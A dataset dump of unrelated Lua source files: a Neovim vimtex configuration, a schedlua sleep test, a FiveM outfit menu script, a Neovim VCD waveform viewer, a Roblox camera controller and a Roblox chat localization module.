content
stringlengths 5
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local g = vim.g
-- g.tex_flavor = "xelatex"
g.vimtex_view_method = "general"
g.vimtex_compiler_progname = "/home/aklsh/.vim/.direnv/python-3.9.5/bin/nvr"
g.vimtex_view_general_viewer = "evince"
g.vimtex_view_automatic = 1
g.vimtex_quickfix_open_on_warning = 0
g.vimtex_syntax_enabled = 0
g.vimtex_indent_enabled = 0 -- Don't let vimtex autoindent things
g.latex_indent_enabled = 0
g.vimtex_format_enabled = 1 -- Make vimtex recognise end-of-line comments when using 'gq'.
g.vimtex_toc_show_preamble = 0 -- Don't show preamble in ToC
vim.cmd([[
let g:vimtex_compiler_latexmk = {'options' : [ '-pdf', '-pdflatex="xelatex --shell-escape %O %S"', '-verbose', '-file-line-error', '-synctex=1', '-interaction=nonstopmode']}
]])
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--test_stopwatch.lua
package.path = package.path..";../?.lua"
local Kernel = require("schedlua.kernel")();
local Alarm = require("schedlua.alarm")(Kernel)
local Clock, timespec = require("schedlua.clock")
local function test_alarm_sleep()
local s1 = Clock();
local starttime = s1:reset();
print("sleep(7525)");
Alarm:sleep(7525);
local duration = s1:secondsElapsed();
print("Duration: ", duration);
halt();
end
run(test_alarm_sleep)
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local SaveOutfit, DeleteOutfit
Model = 0
OutfitNames = {NoOutfitName, NoOutfitName, NoOutfitName, NoOutfitName, NoOutfitName,
NoOutfitName, NoOutfitName, NoOutfitName, NoOutfitName, NoOutfitName,
NoOutfitName, NoOutfitName, NoOutfitName, NoOutfitName, NoOutfitName,
NoOutfitName, NoOutfitName, NoOutfitName, NoOutfitName, NoOutfitName}
CreateThread(function() --Outfits Menu [Multiple Pages]
while true do
Citizen.Wait(0)
if (outfitMenu) then
TriggerServerEvent("FMODT:GetOutfitNames")
if not IsDisabledControlPressed(1, 173) and not IsDisabledControlPressed(1, 172) then
currentOption = lastSelectionoutfitMenu
else
lastSelectionoutfitMenu = currentOption
end
TriggerEvent("FMODT:Title", "~y~" .. OutfitsTitle .. "")
TriggerEvent("FMODT:Option", "~y~>> ~s~" .. SaveOutfitsTitle .. "", function(cb)
if (cb) then
outfitMenu = false
OutfitSaveMenu = true
end
end)
TriggerEvent("FMODT:Option", "~y~>> ~s~" .. LoadOutfitsTitle .. "", function(cb)
if (cb) then
outfitMenu = false
OutfitLoadMenu = true
end
end)
TriggerEvent("FMODT:Option", "~y~>> ~s~" .. DeleteOutfitsTitle .. "", function(cb)
if (cb) then
outfitMenu = false
OutfitDeleteMenu = true
end
end)
TriggerEvent("FMODT:Update")
elseif (OutfitSaveMenu) then
TriggerServerEvent("FMODT:GetOutfitNames")
if not IsDisabledControlPressed(1, 173) and not IsDisabledControlPressed(1, 172) then
currentOption = lastSelectionOutfitSaveMenu
else
lastSelectionOutfitSaveMenu = currentOption
end
TriggerEvent("FMODT:Title", "~y~" .. SaveOutfitsTitle .. "")
for i = 1, 20 do
TriggerEvent("FMODT:Option", i .. ". " .. OutfitNames[i], function(cb)
if (cb) then
SaveOutfit = true
end
end)
end
TriggerEvent("FMODT:Update")
elseif (OutfitLoadMenu) then
TriggerServerEvent("FMODT:GetOutfitNames")
if not IsDisabledControlPressed(1, 173) and not IsDisabledControlPressed(1, 172) then
currentOption = lastSelectionOutfitLoadMenu
else
lastSelectionOutfitLoadMenu = currentOption
end
TriggerEvent("FMODT:Title", "~y~" .. LoadOutfitsTitle .. "")
for i = 1, 20 do
TriggerEvent("FMODT:Option", i .. ". " .. OutfitNames[i], function(cb)
if (cb) then
if OutfitNames[currentOption] ~= NoOutfitName then
TriggerServerEvent("FMODT:OutfitLoad", currentOption)
drawNotification("~g~Outfit ~y~" .. OutfitNames[currentOption] .. " ~g~Loaded!")
else
drawNotification("~r~Outfit " .. currentOption .. " Not Existing!")
end
end
end)
end
TriggerEvent("FMODT:Update")
elseif (OutfitDeleteMenu) then
TriggerServerEvent("FMODT:GetOutfitNames")
if not IsDisabledControlPressed(1, 173) and not IsDisabledControlPressed(1, 172) then
currentOption = lastSelectionOutfitDeleteMenu
else
lastSelectionOutfitDeleteMenu = currentOption
end
TriggerEvent("FMODT:Title", "~y~" .. DeleteOutfitsTitle .. "")
for i = 1, 20 do
TriggerEvent("FMODT:Option", i .. ". " .. OutfitNames[i], function(cb)
if (cb) then
DeleteOutfit = true
end
end)
end
TriggerEvent("FMODT:Update")
end
end
end)
CreateThread(function() --Outfit Saving
while true do
Citizen.Wait(0)
local playerPed = GetPlayerPed(-1)
local OutfitName
local Hat = GetPedPropIndex(playerPed, 0)
local HatTexture = GetPedPropTextureIndex(playerPed, 0)
local Glasses = GetPedPropIndex(playerPed, 1)
local GlassesTexture = GetPedPropTextureIndex(playerPed, 1)
local EarPiece = GetPedPropIndex(playerPed, 2)
local EarPieceTexture = GetPedPropTextureIndex(playerPed, 2)
local Watch = GetPedPropIndex(playerPed, 3)
local WatchTexture = GetPedPropTextureIndex(playerPed, 3)
local Face = GetPedDrawableVariation(playerPed, 0)
local FaceTexture = GetPedTextureVariation(playerPed, 0)
local Mask = GetPedDrawableVariation(playerPed, 1)
local MaskTexture = GetPedTextureVariation(playerPed, 1)
local Hair = GetPedDrawableVariation(playerPed, 2)
local HairTexture = GetPedTextureVariation(playerPed, 2)
local UpperBody = GetPedDrawableVariation(playerPed, 3)
local UpperBodyTexture = GetPedTextureVariation(playerPed, 3)
local Legs = GetPedDrawableVariation(playerPed, 4)
local LegsTexture = GetPedTextureVariation(playerPed, 4)
local Parachute = GetPedDrawableVariation(playerPed, 5)
local ParachuteTexture = GetPedTextureVariation(playerPed, 5)
local Shoes = GetPedDrawableVariation(playerPed, 6)
local ShoesTexture = GetPedTextureVariation(playerPed, 6)
local TiesScarfsetc = GetPedDrawableVariation(playerPed, 7)
local TiesScarfsetcTexture = GetPedTextureVariation(playerPed, 7)
local Undershirt = GetPedDrawableVariation(playerPed, 8)
local UndershirtTexture = GetPedTextureVariation(playerPed, 8)
local Armor = GetPedDrawableVariation(playerPed, 9)
local ArmorTexture = GetPedTextureVariation(playerPed, 9)
local Embleme = GetPedDrawableVariation(playerPed, 10)
local EmblemeTexture = GetPedTextureVariation(playerPed, 10)
local Top = GetPedDrawableVariation(playerPed, 11)
local TopTexture = GetPedTextureVariation(playerPed, 11)
local bool, shapeMotherID, shapeFatherID, shapeExtraID, skinMotherID, skinFatherID, skinExtraID, shapeMix, skinMix, thirdMix = Citizen.InvokeNative(0x2746BD9D88C5C5D0, GetPlayerPed(-1), Citizen.PointerValueIntInitialized(shapeMotherID), Citizen.PointerValueIntInitialized(shapeFatherID), Citizen.PointerValueIntInitialized(shapeExtraID), Citizen.PointerValueIntInitialized(skinMotherID), Citizen.PointerValueIntInitialized(shapeFatherID), Citizen.PointerValueIntInitialized(skinExtraID), Citizen.PointerValueFloatInitialized(shapeMix), Citizen.PointerValueFloatInitialized(skinMix), Citizen.PointerValueFloatInitialized(thirdMix), Citizen.ReturnResultAnyway())
local newShapeMix = round(shapeMix, 2)
local newSkinMix = round(skinMix, 2)
local newThirdMix = round(thirdMix, 2)
local ModelHash = GetEntityModel(GetPlayerPed(-1))
local Blemishes = GetPedHeadOverlayValue(playerPed, 0)
local FacialHair = GetPedHeadOverlayValue(playerPed, 1)
local Eyebrows = GetPedHeadOverlayValue(playerPed, 2)
local Ageing = GetPedHeadOverlayValue(playerPed, 3)
local Makeup = GetPedHeadOverlayValue(playerPed, 4)
local Blush = GetPedHeadOverlayValue(playerPed, 5)
local Complexion = GetPedHeadOverlayValue(playerPed, 6)
local SunDamage = GetPedHeadOverlayValue(playerPed, 7)
local Lipstick = GetPedHeadOverlayValue(playerPed, 8)
local MolesFreckles = GetPedHeadOverlayValue(playerPed, 9)
local ChestHair = GetPedHeadOverlayValue(playerPed, 10)
local BodyBlemishes = GetPedHeadOverlayValue(playerPed, 11)
local AddBodyBlemishes = GetPedHeadOverlayValue(playerPed, 12)
if SaveOutfit then
if (OutfitNames[currentOption] ~= NoOutfitName) then
OutfitName = KeyboardInput(OutfitNameKeyboardMessage, OutfitNames[currentOption], 25, false)
else
OutfitName = KeyboardInput(OutfitNameKeyboardMessage, NewOutfitDefaultName .. " " .. currentOption, 25, false)
end
if OutfitName ~= nil then
if OutfitName == NoOutfitName then
drawNotification("~r~" .. OutfitSavingAbortion .. "!")
else
if OutfitName == "" then
OutfitName = NewOutfitDefaultName .. " " .. currentOption
end
OutfitTable = {OutfitName, ModelHash, Hat, HatTexture, Glasses, GlassesTexture, EarPiece, EarPieceTexture,
Watch, WatchTexture, Face, FaceTexture, Mask, MaskTexture, Hair, HairTexture, HairColorIndex, UpperBody, UpperBodyTexture,
Legs, LegsTexture, Parachute, ParachuteTexture, Shoes, ShoesTexture, TiesScarfsetc, TiesScarfsetcTexture, Undershirt,
UndershirtTexture, Armor, ArmorTexture, Embleme, EmblemeTexture, Top, TopTexture, shapeMotherID, shapeFatherID, shapeExtraID,
skinMotherID, skinFatherID, skinExtraID, newShapeMix, newSkinMix, newThirdMix, Blemishes, FacialHair, FacialHairColorIndex,
Eyebrows, EyebrowsColorIndex, Ageing, Makeup, Blush, BlushColorIndex, Complexion, SunDamage, Lipstick, LipstickColorIndex,
MolesFreckles, ChestHair, ChestHairColorIndex, BodyBlemishes, AddBodyBlemishes}
OutfitTable = table.tostring(OutfitTable)
OutfitTable = OutfitTable:gsub("{", "")
OutfitTable = OutfitTable:gsub("}", "")
TriggerServerEvent("FMODT:OutfitSave", currentOption, OutfitTable)
end
else
drawNotification("~r~" .. OutfitSavingAbortion .. "!")
end
SaveOutfit = false
end
end
end)
CreateThread(function() --Outfit Deleting
while true do
Citizen.Wait(0)
if DeleteOutfit then
if OutfitNames[currentOption] ~= NoOutfitName then
local result = KeyboardInput(OutfitDeletingConfirmation, "", 40, false)
if result ~= nil then
if result:lower() == (OutfitDeletingWord or "'" .. OutfitDeletingWord .. "'") then
TriggerServerEvent("DeleteOutfit", currentOption)
else
drawNotification("~r~" .. OutfitDeletingAbortion .. "!")
end
else
drawNotification("~r~" .. OutfitDeletingAbortion .. "!")
end
else
drawNotification("~r~Outfit " .. currentOption .. " - " .. NotExisting .. "!")
end
DeleteOutfit = false
end
end
end)
AddEventHandler("FMODT:GotOutfitNames", function(OutfitName1, OutfitName2, OutfitName3, OutfitName4, OutfitName5, OutfitName6, OutfitName7, OutfitName8, OutfitName9, OutfitName10, --Just Don't Edit!
OutfitName11, OutfitName12, OutfitName13, OutfitName14, OutfitName15, OutfitName16, OutfitName17, OutfitName18, OutfitName19, OutfitName20)
if OutfitName1 == nil then OutfitNames[1] = NoOutfitName else OutfitNames[1] = OutfitName1 end
if OutfitName2 == nil then OutfitNames[2] = NoOutfitName else OutfitNames[2] = OutfitName2 end
if OutfitName3 == nil then OutfitNames[3] = NoOutfitName else OutfitNames[3] = OutfitName3 end
if OutfitName4 == nil then OutfitNames[4] = NoOutfitName else OutfitNames[4] = OutfitName4 end
if OutfitName5 == nil then OutfitNames[5] = NoOutfitName else OutfitNames[5] = OutfitName5 end
if OutfitName6 == nil then OutfitNames[6] = NoOutfitName else OutfitNames[6] = OutfitName6 end
if OutfitName7 == nil then OutfitNames[7] = NoOutfitName else OutfitNames[7] = OutfitName7 end
if OutfitName8 == nil then OutfitNames[8] = NoOutfitName else OutfitNames[8] = OutfitName8 end
if OutfitName9 == nil then OutfitNames[9] = NoOutfitName else OutfitNames[9] = OutfitName9 end
if OutfitName10 == nil then OutfitNames[10] = NoOutfitName else OutfitNames[10] = OutfitName10 end
if OutfitName11 == nil then OutfitNames[11] = NoOutfitName else OutfitNames[11] = OutfitName11 end
if OutfitName12 == nil then OutfitNames[12] = NoOutfitName else OutfitNames[12] = OutfitName12 end
if OutfitName13 == nil then OutfitNames[13] = NoOutfitName else OutfitNames[13] = OutfitName13 end
if OutfitName14 == nil then OutfitNames[14] = NoOutfitName else OutfitNames[14] = OutfitName14 end
if OutfitName15 == nil then OutfitNames[15] = NoOutfitName else OutfitNames[15] = OutfitName15 end
if OutfitName16 == nil then OutfitNames[16] = NoOutfitName else OutfitNames[16] = OutfitName16 end
if OutfitName17 == nil then OutfitNames[17] = NoOutfitName else OutfitNames[17] = OutfitName17 end
if OutfitName18 == nil then OutfitNames[18] = NoOutfitName else OutfitNames[18] = OutfitName18 end
if OutfitName19 == nil then OutfitNames[19] = NoOutfitName else OutfitNames[19] = OutfitName19 end
if OutfitName20 == nil then OutfitNames[20] = NoOutfitName else OutfitNames[20] = OutfitName20 end
end)
AddEventHandler("FMODT:ChangePlayerPed", function(ModelHash) --Just Don't Edit!
if tonumber(ModelHash) ~= nil then
blockinput = true
Model = tonumber(ModelHash)
RequestModel(Model)
while not HasModelLoaded(Model) do
Citizen.Wait(0)
end
SetPlayerModel(PlayerId(), Model)
if playerVisibleCount == 1 then
playerVisible = true
end
end
end)
AddEventHandler("FMODT:ApplyOutfitProps", function(Hat, HatTexture, Glasses, GlassesTexture, EarPiece, EarPieceTexture, Watch, WatchTexture) --Just Don't Edit!
if not HasModelLoaded(Model) then
while not HasModelLoaded(Model) do
Citizen.Wait(0)
end
Citizen.Wait(1000)
end
if Hat ~= nil then
SetPedPropIndex(GetPlayerPed(-1), 0, tonumber(Hat), tonumber(HatTexture), true)
end
if Glasses ~= nil then
SetPedPropIndex(GetPlayerPed(-1), 1, tonumber(Glasses), tonumber(GlassesTexture), true)
end
if EarPiece ~= nil then
SetPedPropIndex(GetPlayerPed(-1), 2, tonumber(EarPiece), tonumber(EarPieceTexture), true)
end
if Watch ~= nil then
SetPedPropIndex(GetPlayerPed(-1), 3, tonumber(Watch), tonumber(WatchTexture), true)
end
end)
AddEventHandler("FMODT:ApplyOutfitVariations1", function(Face, FaceTexture, Mask, MaskTexture, Hair, HairTexture, HairColor, UpperBody, UpperBodyTexture) --Just Don't Edit!
if not HasModelLoaded(Model) then
while not HasModelLoaded(Model) do
Citizen.Wait(0)
end
Citizen.Wait(1000)
end
if Face ~= nil then
SetPedComponentVariation(GetPlayerPed(-1), 0, tonumber(Face), tonumber(FaceTexture), GetPedPaletteVariation(GetPlayerPed(-1), 0))
end
if Mask ~= nil then
SetPedComponentVariation(GetPlayerPed(-1), 1, tonumber(Mask), tonumber(MaskTexture), GetPedPaletteVariation(GetPlayerPed(-1), 1))
end
if Hair ~= nil then
SetPedComponentVariation(GetPlayerPed(-1), 2, tonumber(Hair), tonumber(HairTexture), GetPedPaletteVariation(GetPlayerPed(-1), 2))
HairColorIndex = tonumber(HairColor)
Citizen.Wait(1000)
SetPedHairColor(GetPlayerPed(-1), HairColorIndex, 0)
end
if UpperBody ~= nil then
SetPedComponentVariation(GetPlayerPed(-1), 3, tonumber(UpperBody), tonumber(UpperBodyTexture), GetPedPaletteVariation(GetPlayerPed(-1), 3))
end
end)
AddEventHandler("FMODT:ApplyOutfitVariations2", function(Legs, LegsTexture, Parachute, ParachuteTexture, Shoes, ShoesTexture, TiesScarfsetc, TiesScarfsetcTexture) --Just Don't Edit!
if not HasModelLoaded(Model) then
while not HasModelLoaded(Model) do
Citizen.Wait(0)
end
Citizen.Wait(1000)
end
if Legs ~= nil then
SetPedComponentVariation(GetPlayerPed(-1), 4, tonumber(Legs), tonumber(LegsTexture), GetPedPaletteVariation(GetPlayerPed(-1), 4))
end
if Parachute ~= nil then
SetPedComponentVariation(GetPlayerPed(-1), 5, tonumber(Parachute), tonumber(ParachuteTexture), GetPedPaletteVariation(GetPlayerPed(-1), 5))
end
if Shoes ~= nil then
SetPedComponentVariation(GetPlayerPed(-1), 6, tonumber(Shoes), tonumber(ShoesTexture), GetPedPaletteVariation(GetPlayerPed(-1), 6))
end
if TiesScarfsetc ~= nil then
SetPedComponentVariation(GetPlayerPed(-1), 7, tonumber(TiesScarfsetc), tonumber(TiesScarfsetcTexture), GetPedPaletteVariation(GetPlayerPed(-1), 7))
end
end)
AddEventHandler("FMODT:ApplyOutfitVariations3", function(Undershirt, UndershirtTexture, Armor, ArmorTexture, Embleme, EmblemeTexture, Top, TopTexture) --Just Don't Edit!
if not HasModelLoaded(Model) then
while not HasModelLoaded(Model) do
Citizen.Wait(0)
end
Citizen.Wait(1000)
end
if Undershirt ~= nil then
SetPedComponentVariation(GetPlayerPed(-1), 8, tonumber(Undershirt), tonumber(UndershirtTexture), GetPedPaletteVariation(GetPlayerPed(-1), 8))
end
if Armor ~= nil then
SetPedComponentVariation(GetPlayerPed(-1), 9, tonumber(Armor), tonumber(ArmorTexture), GetPedPaletteVariation(GetPlayerPed(-1), 9))
end
if Embleme ~= nil then
SetPedComponentVariation(GetPlayerPed(-1), 10, tonumber(Embleme), tonumber(EmblemeTexture), GetPedPaletteVariation(GetPlayerPed(-1), 10))
end
if Top ~= nil then
SetPedComponentVariation(GetPlayerPed(-1), 11, tonumber(Top), tonumber(TopTexture), GetPedPaletteVariation(GetPlayerPed(-1), 11))
end
blockinput = false
end)
AddEventHandler("FMODT:ApplyOutfitHeadData", function(shapeMotherID, shapeFatherID, shapeExtraID, skinMotherID, skinFatherID, skinExtraID, shapeMix, skinMix, thirdMix) --Just Don't Edit!
if not HasModelLoaded(Model) then
while not HasModelLoaded(Model) do
Citizen.Wait(0)
end
end
Citizen.Wait(1000)
shapeMixSplitted = stringsplit(shapeMix, ".")
skinMixSplitted = stringsplit(skinMix, ".")
thirdMixSplitted = stringsplit(thirdMix, ".")
if tonumber(shapeMixSplitted[2]) > 9 then
newshapeMix = (tonumber(shapeMixSplitted[1]) * 1.0) + ((tonumber(shapeMixSplitted[2]) * 1.0) / 100)
else
newshapeMix = (tonumber(shapeMixSplitted[1]) * 1.0) + ((tonumber(shapeMixSplitted[2]) * 1.0) / 10)
end
if tonumber(skinMixSplitted[2]) > 9 then
newskinMix = (tonumber(skinMixSplitted[1]) * 1.0) + ((tonumber(skinMixSplitted[2]) * 1.0) / 100)
else
newskinMix = (tonumber(skinMixSplitted[1]) * 1.0) + ((tonumber(skinMixSplitted[2]) * 1.0) / 10)
end
if tonumber(thirdMixSplitted[2]) > 9 then
newthirdMix = (tonumber(thirdMixSplitted[1]) * 1.0) + ((tonumber(thirdMixSplitted[2]) * 1.0) / 100)
else
newthirdMix = (tonumber(thirdMixSplitted[1]) * 1.0) + ((tonumber(thirdMixSplitted[2]) * 1.0) / 10)
end
SetPedHeadBlendData(GetPlayerPed(-1), tonumber(shapeMotherID), tonumber(shapeFatherID), tonumber(shapeExtraID), tonumber(skinMotherID), tonumber(skinFatherID), tonumber(skinExtraID), newshapeMix, newskinMix, newthirdMix, false)
end)
AddEventHandler("FMODT:ApplyOutfitHeadOverlay", function(Blemishes, FacialHair, FacialHairColor, Eyebrows, EyebrowsColor, Ageing, Makeup, Blush, BlushColor, Complexion, --Just Don't Edit!
SunDamage, Lipstick, LipstickColor, MolesFreckles, ChestHair, ChestHairColor, BodyBlemishes, AddBodyBlemishes)
if not HasModelLoaded(Model) then
while not HasModelLoaded(Model) do
Citizen.Wait(0)
end
end
Citizen.Wait(2000)
SetPedHeadOverlay(GetPlayerPed(-1), 0, tonumber(Blemishes), 1.0)
SetPedHeadOverlay(GetPlayerPed(-1), 1, tonumber(FacialHair), 1.0)
FacialHairColorIndex = tonumber(FacialHairColor)
SetPedHeadOverlayColor(GetPlayerPed(-1), 1, 1, tonumber(FacialHairColorIndex), 0)
SetPedHeadOverlay(GetPlayerPed(-1), 2, tonumber(Eyebrows), 1.0)
EyebrowsColorIndex = tonumber(EyebrowsColor)
SetPedHeadOverlayColor(GetPlayerPed(-1), 2, 1, tonumber(EyebrowsColorIndex), 0)
SetPedHeadOverlay(GetPlayerPed(-1), 3, tonumber(Ageing), 1.0)
SetPedHeadOverlay(GetPlayerPed(-1), 4, tonumber(Makeup), 1.0)
SetPedHeadOverlay(GetPlayerPed(-1), 5, tonumber(Blush), 1.0)
BlushColorIndex = tonumber(BlushColor)
SetPedHeadOverlayColor(GetPlayerPed(-1), 5, 2, tonumber(BlushColorIndex), 0)
SetPedHeadOverlay(GetPlayerPed(-1), 6, tonumber(Complexion), 1.0)
SetPedHeadOverlay(GetPlayerPed(-1), 7, tonumber(SunDamage), 1.0)
SetPedHeadOverlay(GetPlayerPed(-1), 8, tonumber(Lipstick), 1.0)
LipstickColorIndex = tonumber(LipstickColor)
SetPedHeadOverlayColor(GetPlayerPed(-1), 8, 2, tonumber(LipstickColorIndex), 0)
SetPedHeadOverlay(GetPlayerPed(-1), 9, tonumber(MolesFreckles), 1.0)
SetPedHeadOverlay(GetPlayerPed(-1), 10, tonumber(ChestHair), 1.0)
ChestHairColorIndex = tonumber(ChestHairColor)
SetPedHeadOverlayColor(GetPlayerPed(-1), 10, 1, tonumber(ChestHairColorIndex), 0)
SetPedHeadOverlay(GetPlayerPed(-1), 11, tonumber(BodyBlemishes), 1.0)
SetPedHeadOverlay(GetPlayerPed(-1), 12, tonumber(AddBodyBlemishes), 1.0)
end)
|
-- Generated using ntangle.nvim
local margin = 1
local M = {}
function M.parse(lines)
local parsed = {}
local ordered = {}
local i = 1
while #lines[i] > 0 do
i = i + 1
end
while #lines[i] == 0 do
i = i + 1
end
while #lines[i] > 0 do
local vary_type, size, id_code, ref = lines[i]:match("^%s*$var%s+(%a+)%s+(%d+)%s+(%S+)%s+(%S+)")
if vary_type and size and id_code and ref then
if not parsed[id_code] then
table.insert(ordered, id_code)
end
parsed[id_code] = {
vary_type = vary_type,
size = tonumber(size),
ref = ref,
data = {},
}
end
i = i + 1
end
while #lines[i] == 0 do
i = i + 1
end
local timeframe = {}
while i <= #lines do
if lines[i]:match("#%d+") then
for id_code, val in pairs(timeframe) do
table.insert(parsed[id_code].data, val)
end
else
local val = lines[i]:sub(1,1)
local id_code = lines[i]:sub(2,2)
if parsed[id_code] then
timeframe[id_code] = val
end
end
i = i + 1
end
for id_code, val in pairs(timeframe) do
table.insert(parsed[id_code].data, val)
end
return parsed, ordered
end
function M.view()
local lines = vim.api.nvim_buf_get_lines(0, 0, -1, false)
local parsed, ordered = M.parse(lines)
local buf = vim.api.nvim_create_buf(false, true)
local name_pos = {}
local lines = {}
for _, id_code in ipairs(ordered) do
local entry = parsed[id_code]
local prev
local upper = {}
local lower = {}
if entry.data[1] == "1" then
table.insert(upper, "─")
table.insert(lower, " ")
table.insert(upper, "─")
table.insert(lower, " ")
elseif entry.data[1] == "0" then
table.insert(upper, " ")
table.insert(lower, "─")
table.insert(upper, " ")
table.insert(lower, "─")
end
for i=2,#entry.data do
local val = entry.data[i]
if entry.data[i-1] == "0" and entry.data[i] == "1" then
table.insert(upper, "┌")
table.insert(lower, "┘")
table.insert(upper, "─")
table.insert(lower, " ")
elseif entry.data[i-1] == "0" and entry.data[i] == "0" then
table.insert(upper, " ")
table.insert(lower, "─")
table.insert(upper, " ")
table.insert(lower, "─")
elseif entry.data[i-1] == "1" and entry.data[i] == "0" then
table.insert(upper, "┐")
table.insert(lower, "└")
table.insert(upper, " ")
table.insert(lower, "─")
elseif entry.data[i-1] == "1" and entry.data[i] == "1" then
table.insert(upper, "─")
table.insert(lower, " ")
table.insert(upper, "─")
table.insert(lower, " ")
end
end
if entry.data[#entry.data] == "1" then
table.insert(upper, "─")
table.insert(lower, " ")
elseif entry.data[#entry.data] == "0" then
table.insert(upper, " ")
table.insert(lower, "─")
end
table.insert(lines, table.concat(upper, ""))
table.insert(lines, table.concat(lower, ""))
table.insert(name_pos, {
#lines+margin, 2*margin, #entry.ref+2*margin
})
end
local max_width_name = 0
for i, id_code in ipairs(ordered) do
local entry = parsed[id_code]
max_width_name = math.max(vim.api.nvim_strwidth(entry.ref), max_width_name)
end
for i, id_code in ipairs(ordered) do
local entry = parsed[id_code]
local upper_blank = (" "):rep(max_width_name+2)
local lower_blank = (" "):rep(max_width_name - vim.api.nvim_strwidth(entry.ref) + 2)
lines[2*(i-1)+1] = upper_blank .. lines[2*(i-1)+1]
lines[2*(i-1)+2] = entry.ref .. lower_blank .. lines[2*(i-1)+2]
end
local max_width = 0
for i=1,#lines do
max_width = math.max(vim.api.nvim_strwidth(lines[i]), max_width)
end
local white = (" "):rep(max_width)
for i=1,margin do
table.insert(lines, 1, white)
end
local prefix = (" "):rep(2*margin)
for i=1,#lines do
lines[i] = prefix .. lines[i]
end
vim.api.nvim_buf_set_lines(buf, 0, -1, true, lines)
local ns_id = vim.api.nvim_create_namespace("")
for _, pos in ipairs(name_pos) do
local row, scol, ecol = unpack(pos)
vim.api.nvim_buf_add_highlight(buf, ns_id, "String", row-1, scol, ecol)
end
local hl_group = "Whitespace"
local hl_group_high = "Error"
local hl_group_low = "Question"
for i=margin+1,#lines do
local len_line = vim.str_utfindex(lines[i])
local j = max_width_name + 2 + 2*margin
while j < len_line do
local scol = vim.str_byteindex(lines[i], j)
local ecol = vim.str_byteindex(lines[i], j+1)
local c = lines[i]:sub(scol+1,ecol)
if c ~= " " then
if (j-max_width_name-2*margin)%2 == 0 then
vim.api.nvim_buf_add_highlight(buf, ns_id, hl_group, i-1, scol, ecol)
else
if (i-margin)%2 == 0 then
vim.api.nvim_buf_add_highlight(buf, ns_id, hl_group_low, i-1, scol, ecol)
else
vim.api.nvim_buf_add_highlight(buf, ns_id, hl_group_high, i-1, scol, ecol)
end
end
end
j = j + 1
end
end
local editor_width = vim.o.columns
local editor_height = vim.o.lines
local w = math.min(math.floor(editor_width*0.8), max_width + margin*4)
local h = math.min(math.floor(editor_height*0.8), #lines + margin)
local win = vim.api.nvim_open_win(buf, true, {
relative = "editor",
width = w,
height = h,
col = math.floor((editor_width - w)/2),
row = math.floor((editor_height - h)/2),
border = "single",
style = "minimal",
})
-- @set_cursor_as_column
end
return M
|
local camera = workspace.CurrentCamera
local inputService = game:GetService("UserInputService")
local inputHandler = require(script.Parent.Input)
local shiftLock = false
local pan = 0
local tilt = 0
local default = Enum.MouseBehavior.Default
local subject
local sens
camera.CameraType = Enum.CameraType.Scriptable
local function Setup(character)
subject = character.PrimaryPart
camera.CameraSubject = subject
camera.CFrame = subject.CFrame
end
local function Remove()
subject = nil
camera.CameraSubject = nil
end
local function Callback(step)
if not subject then return end
sens = step / math.pi
camera.CFrame = camera.CFrame:Lerp(CFrame.fromOrientation(tilt, pan, 0) + subject.Position - camera.CFrame.LookVector * 10, .25)
end
inputHandler.AddInput("Drag", {[Enum.UserInputType.MouseButton2] = Enum.UserInputState.None}, function(input, state)
inputService.MouseBehavior = state == Enum.UserInputState.Begin and Enum.MouseBehavior.LockCurrentPosition or default
end)
inputHandler.AddInput("ToggleLock", {[Enum.KeyCode.Backquote] = Enum.UserInputState.Begin}, function(input)
shiftLock = not shiftLock
inputService.MouseBehavior = shiftLock and Enum.MouseBehavior.LockCenter or default
end, true)
inputService.InputChanged:Connect(function(input, gpe)
if not gpe and input.UserInputType == Enum.UserInputType.MouseMovement and (inputService.MouseBehavior ~= default or shiftLock) then
local delta = -input.Delta * .004
pan += delta.X
tilt = math.clamp(tilt + delta.Y, -1.2, .3)
inputService.MouseBehavior = Enum.MouseBehavior.LockCurrentPosition
end
end)
table.insert(require(game.ReplicatedStorage.Modules.Util.FrameBased).RenderStepped, 1, Callback)
return {Setup = Setup, Remove = Remove}
|
--!nocheck
local LocalizationService = game:GetService("LocalizationService")
local ChatService = game:GetService("Chat")
local success, userShouldLocalizeServerMessages = pcall(function() return UserSettings():IsUserFeatureEnabled("UserShouldLocalizeServerMessages") end)
local userShouldLocalizeServerMessages = success and userShouldLocalizeServerMessages
local existingKey = {
["System"] = "InGame.Chat.Label.SystemMessagePrefix",
["Team"] = "InGame.Chat.Label.TeamMessagePrefix",
["From "] = "InGame.Chat.Label.From",
["To "] = "InGame.Chat.Label.To",
}
local ChatLocalization = {
_hasFetchedLocalization = false,
}
function ChatLocalization:_getTranslator()
if not self._translator and not self._hasFetchedLocalization then
-- Don't keep retrying if this fails.
self._hasFetchedLocalization = true
local localizationTable = ChatService:WaitForChild("ChatLocalization", 4)
if localizationTable then
self._translator = localizationTable:GetTranslator(LocalizationService.RobloxLocaleId)
LocalizationService:GetPropertyChangedSignal("RobloxLocaleId"):Connect(function()
-- If RobloxLocaleId changes invalidate the cached Translator.
self._hasFetchedLocalization = false
self._translator = nil
end)
else
warn("Missing ChatLocalization. Chat interface will not be localized.")
end
end
return self._translator
end
function ChatLocalization:Get(key, default, extraParameters)
local rtv = default
pcall(function()
local translator = self:_getTranslator()
if translator then
rtv = translator:FormatByKey(key, extraParameters)
else
warn("Missing Translator. Used default for", key)
end
end)
return rtv
end
function ChatLocalization:LocalizeFormattedMessage(message)
if not userShouldLocalizeServerMessages then
return message
end
local keyStart, keyEnd = string.find(message, "{RBX_LOCALIZATION_KEY}")
if not keyStart then
return message
end
local defaultStart, defaultEnd = string.find(message, "{RBX_LOCALIZATION_DEFAULT}")
if not defaultStart then
return message
end
local paramStart, paramEnd = string.find(message, "{RBX_LOCALIZATION_PARAMS}")
local key = string.sub(message, keyEnd + 1, defaultStart - 1)
local default
if not paramStart then
default = string.sub(message, defaultEnd + 1)
return self:Get(key, default)
end
default = string.sub(message, defaultEnd + 1, paramStart - 1)
local params = string.sub(message, paramEnd + 1)
local extraParameters = {}
for k,v in string.gmatch(params,"([^%s]+)=([^%s]+)") do
extraParameters[k] = v
end
return self:Get(key, default, extraParameters)
end
function ChatLocalization:FormatMessageToSend(key, defaultMessage, parameterName, value)
if userShouldLocalizeServerMessages then
if parameterName and value then
return "{RBX_LOCALIZATION_KEY}"..key.."{RBX_LOCALIZATION_DEFAULT}"..defaultMessage
.."{RBX_LOCALIZATION_PARAMS}"..parameterName.."="..value
else
return "{RBX_LOCALIZATION_KEY}"..key.."{RBX_LOCALIZATION_DEFAULT}"..defaultMessage
end
else
if parameterName and value then
return string.gsub(self:Get(key,defaultMessage), "{"..parameterName.."}", value)
else
return self:Get(key,defaultMessage)
end
end
end
